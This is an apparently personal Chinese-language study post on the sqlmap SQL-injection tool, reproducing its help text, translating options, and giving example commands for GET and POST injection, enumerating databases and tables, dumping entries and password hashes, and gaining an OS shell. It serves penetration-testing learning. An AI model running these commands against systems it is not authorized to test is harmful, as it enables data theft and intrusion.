sqlmap工具学习

发布时间 2023-03-30 22:45:25作者: gvpn

tryhackme:sqlmap

github:https://github.com/sqlmapproject/sqlmap

kali集成

参数介绍

sqlmap -h

        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.7.2#stable}
|_ -| . ["]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

Usage: python3 sqlmap [options]

Options:
  -h, --help            Show basic help message and exit
  -hh                   Show advanced help message and exit
  --version             Show program's version number and exit
  -v VERBOSE            Verbosity level: 0-6 (default 1)

  Target:
    At least one of these options has to be provided to define the
    target(s)

    -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")
    -g GOOGLEDORK       Process Google dork results as target URLs

  Request:
    These options can be used to specify how to connect to the target URL

    --data=DATA         Data string to be sent through POST (e.g. "id=1")
    --cookie=COOKIE     HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
    --random-agent      Use randomly selected HTTP User-Agent header value
    --proxy=PROXY       Use a proxy to connect to the target URL
    --tor               Use Tor anonymity network
    --check-tor         Check to see if Tor is used properly

  Injection:
    These options can be used to specify which parameters to test for,
    provide custom injection payloads and optional tampering scripts

    -p TESTPARAMETER    Testable parameter(s)
    --dbms=DBMS         Force back-end DBMS to provided value

  Detection:
    These options can be used to customize the detection phase

    --level=LEVEL       Level of tests to perform (1-5, default 1)
    --risk=RISK         Risk of tests to perform (1-3, default 1)

  Techniques:
    These options can be used to tweak testing of specific SQL injection
    techniques

    --technique=TECH..  SQL injection techniques to use (default "BEUSTQ")

  Enumeration:
    These options can be used to enumerate the back-end database
    management system information, structure and data contained in the
    tables

    -a, --all           Retrieve everything
    -b, --banner        Retrieve DBMS banner
    --current-user      Retrieve DBMS current user
    --current-db        Retrieve DBMS current database
    --passwords         Enumerate DBMS users password hashes
    --dbs               Enumerate DBMS databases
    --tables            Enumerate DBMS database tables
    --columns           Enumerate DBMS database table columns
    --schema            Enumerate DBMS schema
    --dump              Dump DBMS database table entries
    --dump-all          Dump all DBMS databases tables entries
    -D DB               DBMS database to enumerate
    -T TBL              DBMS database table(s) to enumerate
    -C COL              DBMS database table column(s) to enumerate

  Operating system access:
    These options can be used to access the back-end database management
    system underlying operating system

    --os-shell          Prompt for an interactive operating system shell
    --os-pwn            Prompt for an OOB shell, Meterpreter or VNC

  General:
    These options can be used to set some general working parameters

    --batch             Never ask for user input, use the default behavior
    --flush-session     Flush session files for current target

  Miscellaneous:
    These options do not fit into any other category

    --wizard            Simple wizard interface for beginner users

[!] to see full list of options run with '-hh'

基础命令

-u URL, --url=URL          目标URL,比如 "http://www.site.com/vuln.php?id=1"

--data=DATA                通过 POST 发送的数据字符串,比如 "id=1"

--random-agent             使用随机选择的 HTTP User-Agent 标头值

-p TESTPARAMETER           可测试参数(parameter)

--level=LEVEL              要执行的测试级别(1-5,默认 1)

--risk=RISK                执行测试的风险等级(1-3,默认 1)

枚举命令

-a, --all                  检索所有内容

-b, --banner               检索DBMS(数据库管理系统,常见的有MySql等)的banner(横幅)

--current-user             检索DBMS当前用户

--current-db               检索DBMS当前数据库

--passwords                枚举DBMS的用户密码哈希

--dbs                      枚举DBMS所有数据库

--tables                   枚举DBMS数据库中的表

--columns                  枚举DBMS数据库中表的列

--schema                   枚举DBMS的schema(模式、架构)

--dump                     转储DBMS的数据库中的表的条目

--dump-all                 转储DBMS的数据库中所有表的条目

--is-dba                   检测DBMS的当前用户是否为DBA(数据库管理员)

-D <DB NAME>               指定要枚举的DBMS数据库——指定数据库

-T <TABLE NAME>            指定要枚举的DBMS数据库中的表——指定表名

-C COL                     指定要枚举的DBMS数据库中的表的列——指定列名

用于操作系统

--os-shell                 获取交互式的操作系统shell

--os-pwn                   获取一个OOB shell:Meterpreter会话 或者 VNC(Virtual Network Console); OOB是指 out-of-band,带外数据

--os-cmd=OSCMD             执行操作系统命令

--priv-esc                 数据库进程用户提权

--os-smbrelay              一键获取一个OOB shell、Meterpreter会话 或者 VNC(Virtual Network Console)

请求方式

get

sqlmap -u https://testsite.com/page.php?id=7 --dbs

直接修改想要请求的参数即可

post

只要修改参数部分即可

1. sqlmap -u https://testsite.com/page.php? --data "id=1" --dbs

2.使用bp抓包,保存到文件中,假设保存文件中post参数为id,文件为sql.txt
sqlmap -r sql.txt -p id --dbs

通用

--current-db   //爆破当前正在使用数据库,假设为database
-D database --tables //爆破当前数据库中的表 假设有table

-D database -T table --columns //爆破表的列名 假设为column
-D database -T table -C column --dump //获取当前字段的值

-D database --dump-all //转储DBMS的数据库中所有表的条目